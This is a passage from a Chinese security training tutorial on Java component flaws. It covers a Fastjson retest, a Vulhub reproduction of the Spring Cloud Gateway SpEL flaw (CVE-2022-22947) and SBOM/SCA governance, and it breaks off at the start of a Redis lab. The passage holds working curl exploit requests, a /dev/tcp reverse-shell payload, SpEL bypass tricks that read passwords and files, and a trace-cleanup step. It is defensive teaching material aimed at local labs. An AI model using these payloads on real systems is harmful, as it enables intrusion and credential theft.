echo "=== Fastjson autotype 修复复测(共 7 项)==="
declare -a TESTS=(
'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}'
'{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://DNS/a","autoCommit":true}'
'{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://DNS/a","autoCommit":true}'
'{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}'
'{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://DNS/a","autoCommit":true}}'
'{"@type":"java.net.Inet4Address","val":"DNS"}'
'{"@type":"java.net.Inet6Address","val":"DNS"}'
)
i=1
for t in "${TESTS[@]}"; do
real="${t//DNS/$DNS}"
printf " [%d] 发送:%.60s...\n" "$i" "$real"
curl -s -o /tmp/_fj_resp.txt -m 10 -X POST "$TARGET" \
-H "Content-Type: application/json" -d "$real"
if grep -qiE "autoType is not support|safeMode|not support|拒绝" /tmp/_fj_resp.txt; then
echo " ✅ 被拒绝"
else
echo " ⚠️ 未被拒绝(需结合 dnslog 判断):$(head -c 80 /tmp/_fj_resp.txt)"
fi
i=$((i+1))
done
echo ""
echo "→ 去 $DNS 的 dnslog 刷新:0 条记录 = 通过"
echo ""
echo "=== 代码自查 ==="
echo " 1. 版本:mvn dependency:tree | grep fastjson # 要求 >= 1.2.83 或用 fastjson2"
echo " 2. 搜索危险写法:grep -rn 'JSON.parse(' src/ # 应改为 parseObject(json, Xxx.class)"
echo " 3. 是否开启 safeMode:grep -rn 'setSafeMode' src/ # 应该有"
SCRIPT
chmod +x /tmp/verify_fastjson.sh
6.7 Spring Cloud Gateway SpEL 注入(CVE-2022-22947)
漏洞:CVE-2022-22947,CVSS 10.0 影响版本:Spring Cloud Gateway 3.1.0 和 3.0.0 ~ 3.0.6(以及更老的不支持版本) 一句话原理:Spring Cloud Gateway 的 Actuator 端点允许动态添加路由, 而路由的
filter配置支持 SpEL 表达式。 如果 Actuator 被暴露在公网,攻击者就能添加一个带恶意 SpEL 表达式的路由, 刷新后表达式被执行 → RCE。
6.7.1 两个名词
| 名词 | 白话解释 |
|---|---|
| Spring Cloud Gateway | 微服务架构里的 API 网关:所有请求先进它,由它决定转发给哪个服务。类似 Nginx,但用 Java 写的、可编程 |
| Actuator | Spring Boot 的运维监控端点。/actuator/health 看健康状态、/actuator/env 看环境变量、/actuator/gateway/routes 管理网关路由。功能很强,但暴露出去极其危险(第七章会专门讲) |
6.7.2 为什么“动态添加路由”能 RCE?
Spring Cloud Gateway 的路由配置长这样:
spring:
cloud:
gateway:
routes:
- id: user-service
uri: http://user-service:8080
predicates:
- Path=/api/user/**
filters:
- AddResponseHeader=X-Name, #{@systemProperties['user.name']} # ← ★ 这里能写 SpEL
关键点:Gateway 的 filter 参数支持 #{...} 形式的 SpEL 表达式,这是官方设计的功能(为了灵活配置)。
漏洞链条:
① 攻击者发现 /actuator/gateway/routes 暴露在公网
│
▼
② POST 一个路由,filter 里写恶意 SpEL:
- id: hack
filters:
- name: AddResponseHeader
args:
name: Result
value: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{'touch','/tmp/GATEWAY_PWNED'})}"
│
▼
③ POST /actuator/gateway/refresh 刷新路由
│
▼
④ Gateway 加载这条路由 → 解析 filter 参数 → ★ 求值 SpEL 表达式
│
▼
💥 命令执行了(甚至不需要真的有请求打进来)
6.7.3 动手:用 Vulhub 复现
cd ~/vulhub/spring/CVE-2022-22947
docker compose up -d
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# cve-2022-22947-gateway-1 gateway Up 127.0.0.1:8080->8080/tcp
# 探活:看看 Actuator 是不是暴露的
curl -s http://127.0.0.1:8080/actuator/gateway/routes
# 预期:返回 JSON 数组,里面有默认路由
第 1 步:确认 SpEL 能被执行(无害验证)
# 创建一个路由,filter 的值用 SpEL 读取环境变量
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/testroute \
-H "Content-Type: application/json" \
-d '{
"id": "testroute",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.lang.System).getenv()}"
}
}],
"uri": "http://example.com"
}'
# 预期:HTTP 201 Created
# 刷新路由(★ 这一步才是真正触发 SpEL 求值)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 预期:返回被刷新的路由 id 列表
# 读取结果(SpEL 的执行结果会被存到路由定义里)
curl -s http://127.0.0.1:8080/actuator/gateway/routes/testroute | python3 -m json.tool
预期输出(节选):
{
"id": "testroute",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "{\n PATH=/usr/local/bin:...,\n JAVA_HOME=/opt/java/openjdk,\n HOSTNAME=abc123,\n ...所有环境变量...\n}"
}
}],
"uri": "http://example.com"
}
注意看:
value从"#{T(java.lang.System).getenv()}"变成了真实的环境变量内容。 这证明 SpEL 被执行了。 而环境变量里通常有数据库密码、AK/SK、Redis 密码——光这一步就已经是严重的信息泄露了。
第 2 步:真正 RCE
# 构造执行命令的路由(注意:SpEL 里用 new String[]{} 避免空格导致解析问题)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/hackroute \
-H "Content-Type: application/json" \
-d '{
"id": "hackroute",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"touch /tmp/GATEWAY_PWNED\"})}"
}
}],
"uri": "http://example.com"
}'
# 刷新(触发执行)
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 验证
docker exec cve-2022-22947-gateway-1 ls -la /tmp/GATEWAY_PWNED
# 预期:文件存在 = RCE 成功
第 3 步:反弹 Shell
# 攻击机监听(终端 1)
nc -lvnp 7777
# 终端 2
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/shellroute \
-H "Content-Type: application/json" \
-d '{
"id": "shellroute",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/host.docker.internal/7777 0>&1\"})}"
}
}],
"uri": "http://example.com"
}'
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
第 4 步:清理痕迹(攻击者会做,防御方要知道)
# 删掉路由
curl -s -X DELETE http://127.0.0.1:8080/actuator/gateway/routes/hackroute
curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
防御启示:攻击者会删掉自己创建的路由,日志里要保留路由变更记录, 否则事后排查时
/actuator/gateway/routes是“干净”的,你根本看不出被打了。
6.7.4 SpEL 表达式语法速查(理解 payload 用)
// SpEL 的基本语法:#{ 表达式 }
// 在 Spring 里到处可见:@Value("#{...}")、@PreAuthorize("hasRole('ADMIN')")
// 【1】调用静态方法:T(全限定类名).方法名()
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
#{T(java.lang.System).getenv()}
#{T(java.lang.System).getProperty("user.name")}
// ↑ T() 是 SpEL 里"引用一个类型"的语法,是 RCE 的罪魁祸首
// 【2】new 一个对象
#{new java.lang.ProcessBuilder(new String[]{"whoami"}).start()}
// 【3】访问 Spring 容器里的 Bean:@beanName
#{@userService.getAllUsers()}
#{@environment.getProperty('spring.datasource.password')}
// ★ 这个能读到数据库密码!
// 【4】字符串/集合操作
#{'abc'.toUpperCase()}
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
// ↑ 读文件
// 【5】绕过技巧:如果 Runtime 被黑名单拦了,用 ProcessBuilder
#{new java.lang.ProcessBuilder({'whoami'}).start()}
// 【6】绕过技巧:用反射(字符串拼接绕过关键字检测)
#{T(java.lang.Class).forName('java.lang.Run'+'time').getRuntime().exec('whoami')}
6.7.5 修复
【修复 1】升级版本(根治)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<!-- ❌ 3.1.0 / 3.0.0~3.0.6 有漏洞 -->
<version>4.1.5</version> <!-- ✅ 3.1.1+ / 3.0.7+ 已修复 -->
</dependency>
3.1.1 是怎么修的? 引入了一个
GatewayEvaluationContext(受限的求值上下文), 默认禁用了T()类型引用和new等危险操作。
【修复 2】关闭 Gateway 的 Actuator 端点(★ 最重要)
# application.yml
management:
endpoint:
gateway:
enabled: false # ★ 直接关掉 gateway 端点(生产环境强烈建议)
endpoints:
web:
exposure:
include: health,info,metrics,prometheus # ★ 只暴露必要的,绝不用 '*'
server:
port: 9090 # ★ 管理端口和业务端口分离
address: 127.0.0.1 # ★ 只监听本地(第七章详讲)
【修复 3】如果必须开启 dynamic route,加认证 + 审计
@Configuration
public class ActuatorSecurityConfig {
// 所有 /actuator/** 必须认证,且必须是 ADMIN 角色
@Bean
public SecurityFilterChain actuatorChain(HttpSecurity http) throws Exception {
return http
.securityMatcher(EndpointRequest.toAnyEndpoint())
.authorizeHttpRequests(auth -> auth
.requestMatchers(EndpointRequest.to("health", "info")).permitAll()
.anyRequest().hasRole("ADMIN"))
.httpBasic(Customizer.withDefaults())
.build();
}
}
// 路由变更审计(★ 关键:留痕)
@Component
public class RouteChangeAuditor implements ApplicationListener<RefreshRoutesEvent> {
@Override
public void onApplicationEvent(RefreshRoutesEvent event) {
log.warn("[安全审计] 网关路由被刷新,操作人={},时间={}",
SecurityContextHolder.getContext().getAuthentication() != null
? SecurityContextHolder.getContext().getAuthentication().getName()
: "匿名(★ 危险)",
LocalDateTime.now());
// ★ 生产环境应该发到安全告警群
}
}
【修复 4】SpEL 使用规范(代码层面)
// ❌ 危险:用 StandardEvaluationContext(功能全开,能 T()、能 new)
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext ctx = new StandardEvaluationContext();
Object result = parser.parseExpression(userInput).getValue(ctx); // ← 用户能执行任意代码
// ✅ 安全:SimpleEvaluationContext(只读,禁用 T()、new、构造函数、Bean 引用)
SimpleEvaluationContext ctx = SimpleEvaluationContext
.forReadOnlyDataBinding()
.withInstanceMethods() // 只允许调用实例方法(且需配合白名单)
.build();
Object result = parser.parseExpression(userInput).getValue(ctx);
// 效果:#{T(java.lang.Runtime)...} 会直接抛异常
记牢这一对:
StandardEvaluationContext= 功能全开 = 危险SimpleEvaluationContext= 受限 = 安全这两个类的区别是 SpEL 安全的核心,面试经常被问到。
6.7.6 复测脚本
cat > /tmp/verify_gateway_spel.sh <<'SCRIPT'
#!/bin/bash
# Spring Cloud Gateway SpEL 修复复测
TARGET="${1:-http://127.0.0.1:8080}"
pass=0; fail=0
chk() { # chk "描述" "url" "期望拒绝的关键词"
R=$(curl -s -o /tmp/_gw.txt -w '%{http_code}' "$2")
if [ "$R" = "404" ] || [ "$R" = "401" ] || [ "$R" = "403" ]; then
echo " ✅ 通过:$1(HTTP $R,端点不可访问)"; pass=$((pass+1))
elif grep -qiE "$3" /tmp/_gw.txt; then
echo " ✅ 通过:$1(SpEL 被拒绝)"; pass=$((pass+1))
else
echo " ❌ 未通过:$1(HTTP $R,响应:$(head -c 120 /tmp/_gw.txt))"; fail=$((fail+1))
fi
}
echo "=== Gateway Actuator 暴露面检查(共 5 项)==="
# 1. gateway 端点应该完全不可访问
chk "1. /actuator/gateway/routes 不可访问" "$TARGET/actuator/gateway/routes" "error"
# 2. env 端点(泄露所有环境变量和数据库密码)
chk "2. /actuator/env 不可访问" "$TARGET/actuator/env" "error"
# 3. heapdump(能拖出内存里的所有密码,第七章讲)
chk "3. /actuator/heapdump 不可访问" "$TARGET/actuator/heapdump" "error"
# 4. 尝试创建恶意路由
CODE=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET/actuator/gateway/routes/_verify_test" \
-H 'Content-Type: application/json' \
-d '{"id":"_verify_test","filters":[{"name":"AddResponseHeader","args":{"name":"R","value":"#{T(java.lang.System).getenv()}"}}],"uri":"http://example.com"}')
if [ "$CODE" = "404" ] || [ "$CODE" = "401" ] || [ "$CODE" = "403" ]; then
echo " ✅ 通过:4. 无法创建路由(HTTP $CODE)"; pass=$((pass+1))
else
echo " ❌ 未通过:4. 仍可创建路由(HTTP $CODE)"; fail=$((fail+1))
fi
# 5. 检查是否意外暴露了所有端点
R=$(curl -s "$TARGET/actuator")
if echo "$R" | grep -qiE '"gateway|"env"|"heapdump"|"beans"|"threaddump"'; then
echo " ❌ 未通过:5. /actuator 暴露了危险端点:$(echo $R | head -c 150)"; fail=$((fail+1))
else
echo " ✅ 通过:5. 未暴露危险端点"; pass=$((pass+1))
fi
echo ""
echo "结果:通过 $pass / 5,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Gateway 加固验证通过" || echo "⚠️ 还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_gateway_spel.sh
6.8 组件漏洞治理:从“救火”到“免疫”
前面四个 CVE 讲完了,但真正有价值的不是记住这四个漏洞,而是建立“下个漏洞来了怎么办”的能力。
6.8.1 四个 CVE 的共同规律(★ 面试的核心认知)
| 漏洞 | 外部输入控制的是什么 | 触发机制 |
|---|---|---|
| Shiro-550 | 序列化字节流 → 还原哪个对象 | 反序列化 + 硬编码密钥 |
| Log4Shell | 日志内容 → 查哪个资源 | 表达式求值(Lookup) |
| Fastjson | JSON 的 @type → 加载哪个类 |
类加载 + setter 调用 |
| Gateway SpEL | 路由配置的 filter 值 → 执行什么表达式 | 表达式求值(SpEL) |
一句话总结:
凡是“数据能决定服务器该做什么”的地方,都有 RCE 风险。 防御的统一答案:白名单(限定能加载什么类 / 能查什么资源 / 能求值什么表达式), 而不是黑名单。
6.8.2 三个必须知道的名词:SCA / SBOM / VEX
| 名词 | 英文全称 | 白话解释 | 生活类比 |
|---|---|---|---|
| SCA | Software Composition Analysis,软件成分分析 | 自动扫描你的项目用了哪些第三方库、有没有已知漏洞的工具 | 体检:抽血化验,看各项指标有没有异常 |
| SBOM | Software Bill of Materials,软件物料清单 | 一份清单,列出你的软件里所有的组件和版本(包括间接依赖) | 食品的配料表:面粉、水、糖、防腐剂…… 出问题时能快速定位是哪一批次的原料有问题 |
| VEX | Vulnerability Exploitability eXchange | 一份“漏洞影响声明“:某个 CVE 虽然存在,但在你的场景下不可利用(比如漏洞函数你根本没调用),所以不用急着修 | 医生说“你体检报告上这项指标偏高,但结合你的年龄和体质,不用治,观察就行” |
为什么这三个如此重要? Log4Shell 爆发那天,全世界的公司问的第一个问题都是: “我们到底哪些系统用了 Log4j?用的哪个版本?”
- 有 SBOM 的公司:10 分钟就列出了所有受影响系统
- 没 SBOM 的公司:通宵三天人工翻代码、翻服务器
这就是 SBOM 的价值。美国 2021 年的行政令已经强制要求软件供应商提供 SBOM。
生成 SBOM 的实操:
# 方式 1:用 CycloneDX(最流行的 SBOM 格式之一)
# Maven 插件
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom
# 生成 target/bom.json 和 target/bom.xml
# 方式 2:用 Syft(扫容器镜像,推荐)
syft myapp:latest -o cyclonedx-json > sbom.json
syft myapp:latest -o spdx-json > sbom.spdx.json
# 看看 SBOM 长啥样
cat sbom.json | python3 -m json.tool | head -40
# 预期:
# {
# "bomFormat": "CycloneDX",
# "specVersion": "1.5",
# "components": [
# { "type": "library", "name": "log4j-core", "version": "2.14.1", "purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1" },
# ...
# ]
# }
用 SBOM 做应急响应(这就是 Log4Shell 那天该有的能力):
# 假设你有一堆服务的 SBOM 文件
# 一条命令找出所有用了漏洞版本 Log4j 的服务
for f in sbom/*.json; do
app=$(basename "$f" .json)
# 解析 SBOM,找 log4j-core 且版本 < 2.17.1
jq -r --arg app "$app" '
.components[]?
| select(.name | test("log4j-core"; "i"))
| select(.version | test("^(2\\.(0|1[0-6]|[0-9]-beta))|2\\.17\\.0"))
| "❌ \($app) 使用了 log4j-core \(.version)"
' "$f"
done
6.8.3 依赖漏洞扫描落地(三道卡点)
┌──── 卡点 1:本地开发(IDE 插件 / pre-commit)────────────┐
│ 工具:IDE 的 Snyk / SonarLint 插件 │
│ 时机:写代码时就有提示 │
│ 作用:最早发现问题,成本最低 │
└───────────────────────────────────────────────────────────┘
↓
┌──── 卡点 2:CI 流水线(★ 最重要)──────────────────────┐
│ 工具:OWASP Dependency-Check / Trivy / Snyk / Grype │
│ 时机:每次提交代码、每次构建 │
│ 作用:★ 高危漏洞直接让构建失败,根本出不了门 │
└───────────────────────────────────────────────────────────┘
↓
┌──── 卡点 3:运行时 / 镜像仓库(兜底)──────────────────┐
│ 工具:Trivy 扫镜像、Harbor 的漏洞扫描、RASP │
│ 时机:镜像构建后、部署前 │
│ 作用:拦住"绕过 CI 直接构建"的情况,以及新披露的 CVE │
└───────────────────────────────────────────────────────────┘
卡点 2 的具体配置(GitLab CI 示例):
# .gitlab-ci.yml
stages:
- build
- scan
dependency-scan:
stage: scan
image:
name: aquasec/trivy:latest
script:
# 扫项目依赖(--exit-code 1 表示发现高危就失败)
- trivy fs --severity CRITICAL,HIGH --exit-code 1 --no-progress .
# 同时生成 SBOM 存档(★ 应急时能救命)
- trivy fs --format cyclonedx --output sbom.json .
artifacts:
paths:
- sbom.json
expire_in: 1 year
allow_failure: false # ★ 高危不允许通过
应急时怎么“临时放行”?(真实场景一定会遇到)
# 情况:CVE 刚爆出来,官方还没发补丁版本,但业务要上线
# 做法:用 .trivyignore 临时忽略,但必须写清楚原因和责任人
# .trivyignore
# 格式:漏洞ID 过期时间 原因 责任人
CVE-2021-44228 2026-12-31 等待 log4j 2.17.1 发布,已启用 -Dlog4j2.formatMsgNoLookups=true 缓解 @zhuhonghui
CVE-2023-12345 2026-10-01 该漏洞在 fastjson 的 XxxSerializer 路径,我们未使用该功能,已确认不可利用(VEX) @zhuhonghui
# ★ 关键:必须写过期时间!否则这个 ignore 会永远留着,变成技术债
6.8.4 升级依赖的“三不”原则(实战经验)
| 原则 | 说明 |
|---|---|
| ① 不能只升直接依赖 | 你的 pom 里写了 spring-boot-starter-web:2.7.0,它内部带的 Log4j 是 2.14.1。必须用 dependencyManagement 或 BOM 覆盖传递依赖 |
| ② 不能只看版本号 | 有些库改名了(fastjson → fastjson2)、groupId 变了(org.springframework.cloud:spring-cloud-gateway-server vs spring-cloud-gateway-core)。升级前先查官方迁移文档 |
| ③ 不能一次性全升 | 一次升 20 个依赖,出问题不知道是谁。应该:先升最高危的 1 个 → 跑全量测试 → 再升下一个。我们用 Dependabot 配置成“每天最多开 3 个 PR” |
Spring Boot 项目覆盖传递依赖的标准写法:
<dependencyManagement>
<dependencies>
<!-- ★ 用 BOM 统一覆盖(推荐) -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.23.1</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<!-- 或者直接指定单个 artifact -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>
</dependencyManagement>
<!-- 验证是否真的覆盖了 -->
<!-- mvn dependency:tree -Dincludes=org.apache.logging.log4j -->
6.8.5 建立“组件台账”(最小可行方案)
如果你所在公司还没有 SCA,用下面这个最简方案先跑起来(半小时能搭完):
#!/bin/bash
# dep_inventory.sh —— 生成所有服务的依赖台账(最简版)
# 放到 Jenkins/GitLab CI 上,每周跑一次
OUT_DIR="./dep-inventory/$(date +%Y-%m-%d)"
mkdir -p "$OUT_DIR"
for repo in /data/repos/*/; do
app=$(basename "$repo")
echo "扫描:$app"
if [ -f "$repo/pom.xml" ]; then
(cd "$repo" && mvn -q dependency:tree -DoutputFile="$OUT_DIR/$app.txt" 2>/dev/null)
elif [ -f "$repo/build.gradle" ]; then
(cd "$repo" && ./gradlew -q dependencies > "$OUT_DIR/$app.txt" 2>/dev/null)
fi
done
# 汇总:找出所有高危组件
echo "=== 高危组件汇总 ==="
grep -rhiE "log4j-core|fastjson|shiro-core|commons-collections|commons-beanutils|xstream" \
"$OUT_DIR" | sort -u
# 生成 SBOM 汇总
echo ""
echo "台账已生成:$OUT_DIR"
echo "应急时:grep -rl 'log4j-core:2.14' $OUT_DIR # 一条命令找出所有受影响服务"
6.8.6 本章实验的“安全红线”再次强调
┌──────────────────────────────────────────────────────────────┐
│ ⚠️ 第六章所有实验的红线 │
├──────────────────────────────────────────────────────────────┤
│ 1. 所有靶场容器【只监听 127.0.0.1】,绝不映射 0.0.0.0 │
│ 2. 靶场网络用独立的 lab-net,和你的开发机、生产隔离 │
│ 3. 禁止对任何【不属于自己的系统】发送 payload │
│ 4. dnslog.cn 等公共平台是【公开的】,不要用它测真实业务 │
│ 5. 实验结束后 docker compose down -v 清理干净 │
├──────────────────────────────────────────────────────────────┤
│ 《刑法》第 285 条:非法侵入计算机信息系统罪 │
│ 《刑法》第 286 条:破坏计算机信息系统罪 │
│ 即使是"只是试试"也可能构成违法 │
└──────────────────────────────────────────────────────────────┘
6.9 第六章总结:面试怎么讲
6.9.1 一个能讲 3 分钟的完整故事
“关于 Java 组件漏洞,我系统复现过四个:Shiro-550、Log4Shell、Fastjson autotype、Spring Cloud Gateway SpEL。
我把它们归成了一个根因:都是把不可信数据当成了’指令’去执行。
- Shiro-550 是把 Cookie 里的数据当成对象去还原;
- Log4Shell 是把日志内容当成表达式去求值;
- Fastjson 是把 JSON 里的
@type当成类名去加载;- Gateway 是把路由配置当成 SpEL 表达式去执行。
其中最有技术含量的是反序列化,我想重点讲一下。 它的精妙之处在于:攻击者没有往服务器上注入任何新代码。 他只是构造了一段数据,让服务器上已经存在的、合法的、人畜无害的类 ——比如 commons-collections 里的
InvokerTransformer—— 按他设计的顺序被调用,最后拼出了Runtime.exec()。 就像用乐高原装零件拼出一把钥匙,每个零件都是正版的,但组合起来是你没想到的。所以这类漏洞无法通过’我不写危险代码’来避免,因为漏洞在你的依赖库里。 防御手段我总结成四个层次: 第一层是升级依赖(commons-collections 升到 3.2.2,链条从根上断); 第二层是 JEP 290 白名单(加一个 ObjectInputFilter,只允许白名单类被反序列化,同时记录被拒绝的类名——这是很好的入侵检测信号); 第三层是架构上不用 Java 原生序列化(换 JSON 或 Kryo,只还原数据不触发行为); 第四层是运行时 RASP 兜底。
流程上,我们后来把 SCA 依赖扫描加进了 CI,高危漏洞直接让构建失败; 每次构建都会生成 SBOM 存档。 这一点在 Log4Shell 那次真的救了命——有 SBOM 的公司 10 分钟就能列出所有受影响系统, 没有的通宵三天人工翻代码。“
6.9.2 本章速查表
| 想查什么 | 看哪节 |
|---|---|
| XXE 怎么读文件 / 打内网 / OOB | 6.1 |
| 十亿笑 DoS 是什么 | 6.1.3 |
| XML 解析库怎么防 XXE(7 个库) | 6.1.6 |
为什么 readObject() 会执行代码 |
6.2.2 |
| Gadget Chain 是什么(酒店机器人类比) | 6.2.3 |
| CC 链四个零件拆解 | 6.2.4 |
| CC1/CC5/CC6/CB1 怎么选 | 6.2.5 |
| 反弹 shell 原理(逐段解释) | 6.3.1 |
| 反序列化四道防线 | 6.3.2 |
| Shiro-550 为什么是“把加密当认证” | 6.4.2 |
| Shiro 常见密钥字典 | 6.4.5 |
| Log4Shell 为什么 WAF 拦不住 | 6.5.4 |
| Log4j 该升到哪个版本 | 6.5.5 |
| Fastjson 绕过史(1.2.47 缓存绕过) | 6.6.4 |
SpEL 的 StandardEvaluationContext vs SimpleEvaluationContext |
6.7.5 |
| SCA / SBOM / VEX 是什么 | 6.8.2 |
6.9.3 本章必背 10 句话
- Java 序列化数据的指纹是
aced0005,base64 后是rO0AB——看到就要警惕 - 反序列化漏洞不需要注入代码,用的是目标 classpath 里已有的合法类
- Gadget Chain = 用正版零件拼出的钥匙
Runtime不能序列化,所以要通过反射“曲线救国”(CC 链的精髓)- 判断反序列化成不成功,不看 HTTP 响应码(命令在抛异常前就执行完了)
- Shiro-550 的根因是“把加密当认证”——密钥公开,加密就没有意义
- Log4Shell 的 WAF 防不住,因为 WAF 看字面量、Log4j 看求值结果
- Log4j 必须升到 2.17.1,2.15.0 和 2.16.0 都还有 CVE
- 白名单优于黑名单——Fastjson 的黑名单被绕了 20 多个版本
- SpEL 安全的核心是
SimpleEvaluationContext,永远不要用StandardEvaluationContext处理用户输入
6.9.4 本章的实验清单与耗时
| 实验 | 靶场 | 难度 | 耗时 | 面试价值 |
|---|---|---|---|---|
| XXE 读文件 + SSRF + OOB | Vulhub solr | ★★☆ | 30 分钟 | ★★★ |
| 十亿笑 DoS | Vulhub solr | ★☆☆ | 10 分钟 | ★★ |
| ysoserial 生成 payload | 本地 | ★☆☆ | 15 分钟 | ★★★★ |
打自建靶场 /deser/load |
自建 | ★★☆ | 20 分钟 | ★★★★★ |
| 反弹 Shell | 自建 | ★★★ | 30 分钟 | ★★★★★ |
| Shiro-550 完整复现 | Vulhub | ★★☆ | 40 分钟 | ★★★★★ |
| Log4Shell 完整复现 | Vulhub | ★★☆ | 40 分钟 | ★★★★★ |
| Log4Shell WAF 绕过变形 | Vulhub | ★★★ | 20 分钟 | ★★★★ |
| Fastjson 1.2.24 RCE | Vulhub | ★★☆ | 30 分钟 | ★★★★ |
| Gateway SpEL RCE | Vulhub | ★★☆ | 30 分钟 | ★★★ |
| SBOM 生成与应急查询 | 本地 | ★☆☆ | 20 分钟 | ★★★★ |
如果你时间有限,只做这三个: Shiro-550(最经典、最容易被问)→ Log4Shell(影响最大、故事性最强)→ 打自建靶场拿反弹 Shell(技术含量最高,能体现你懂原理)。
第七章:中间件与数据库未授权实战
这一章讲的是“内网的门槛”。
前六章的漏洞都发生在应用层(你写的代码里)。这一章不一样—— 你的代码写得再安全,如果 Redis 没设密码、Nacos 没做鉴权、Jenkins 暴露在公网, 攻击者根本不需要碰你的代码,直接从旁边走过去就把服务器拿下了。
这类漏洞的三个特点: ① 门槛极低——不需要懂代码,一条
redis-cli命令就行,所以被自动化脚本批量扫描的概率最高; ② 危害极大——基本都是直接 GetShell,没有中间商赚差价; ③ 和你的代码质量无关——属于运维配置问题,开发往往根本不知道自己部门有这种机器。面试价值:这类问题能体现你有“全局视角“——不只盯着自己的代码, 还知道整个系统里哪些地方最容易被攻破。
7.0 先建立“未授权访问”的心智模型
7.0.1 什么叫“未授权访问”
一句话定义:一个服务本该要求身份验证,但因为配置不当, 任何人都能连上去操作,而且往往是以高权限(root / admin)操作。
生活类比:
你家小区门禁坏了,任何人都能进。 更糟的是,进去了还能直接进物业办公室——因为办公室门上写着“推门进,钥匙在桌上”。
门禁 = 网络边界(防火墙) 办公室 = Redis / Nacos / Jenkins 桌上的钥匙 = 默认空密码
7.0.2 为什么会普遍存在?(三个真实原因)
| 原因 | 真实场景 |
|---|---|
| ① 默认配置就是危险的 | Redis 官方 redis.conf 默认 没有密码、默认 bind 127.0.0.1——但很多人改成 bind 0.0.0.0 之后忘了加密码 |
| ② 只在内网,所以觉得安全 | “这是内网机器,不用设密码”——但SSRF(第五章)可以让攻击者借你的手访问内网,内网边界形同虚设 |
| ③ 测试环境忘了回收 | 临时起一个 Redis 测功能,测完忘了关。公网扫描器 24 小时内就能找到它 |
★ 一个残酷的事实: 公网上有大量的自动化扫描器,24 小时不停地扫 6379(Redis)、3306(MySQL)、8848(Nacos)、 8080(Jenkins/Tomcat)、9200(Elasticsearch)、27017(MongoDB)、11211(Memcached)这些端口。 一台没设密码的 Redis 暴露在公网上,平均存活时间不到 4 小时就会被入侵(一般是被种挖矿木马)。
这也是为什么第 0.2 节要求你的靶场只监听 127.0.0.1—— 如果你把靶场的 Redis 映射到
0.0.0.0:6379,你自己的机器也会变成别人的矿机。
7.0.3 本章要打的靶子
| 服务 | 默认端口 | 未授权能干什么 | 危险等级 |
|---|---|---|---|
| Redis | 6379 | 写文件 → 直接 GetShell | ★★★★★ |
| MySQL | 3306 | 拖库;有 FILE 权限可 UDF 提权 → GetShell | ★★★★★ |
| Nacos | 8848 | 拖走所有配置(含数据库密码)、部分版本 RCE | ★★★★★ |
| Jenkins | 8080 | Groovy 脚本执行 → GetShell | ★★★★★ |
| Elasticsearch | 9200 | 拖走全部数据 | ★★★★ |
| MongoDB | 27017 | 拖走全部数据 | ★★★★ |
| Actuator | 8080/actuator | heapdump 拖走内存里的所有密码 | ★★★★ |
| Druid | /druid | SQL 监控泄露、session 劫持 | ★★★ |
| Kafka | 9092 | 消费/生产消息,数据泄露 + 投毒 | ★★★ |
| RabbitMQ | 15672 | 管理后台默认 guest/guest,拖走消息 | ★★★ |
| Zookeeper | 2181 | 四字命令探测、部分版本 RCE | ★★★ |
| Docker Remote API | 2375 | 直接接管宿主机(★ 最狠) | ★★★★★ |
7.1 Redis 未授权:四步拿下服务器
Redis 未授权是内网渗透里“性价比最高”的漏洞, 因为 Redis 有写文件的能力,而写文件 = 写 crontab / SSH key / webshell = GetShell。
7.1.1 三个名词
| 名词 | 白话解释 |
|---|---|
| Redis | 一个内存键值数据库,常用作缓存。数据存在内存里,所以快 |
| RDB / AOF | Redis 的两种持久化方式:RDB 是定期把内存快照存成文件(.rdb),AOF 是把每条写命令追加到日志。漏洞利用靠的就是“我们能指定这个文件的路径和名字” |
| RESP | Redis 的通信协议(REdis Serialization Protocol)。它是纯文本的,所以能用 gopher:// 构造(第五章 5.2 讲过) |
7.1.2 搭建靶场
# 起一个【故意不设密码】的 Redis(只监听 127.0.0.1!)
docker run -d --name redis-vuln \
--network lab-net \
-p 127.0.0.1:6379:6379 \
redis:6.2-alpine
# 确认
docker ps | grep redis-vuln
# 预期:
# xxxxx redis:6.2-alpine "docker-entrypoint.s…" Up 3 seconds 127.0.0.1:6379->6379/tcp
# 测试:无密码直接连上并执行命令
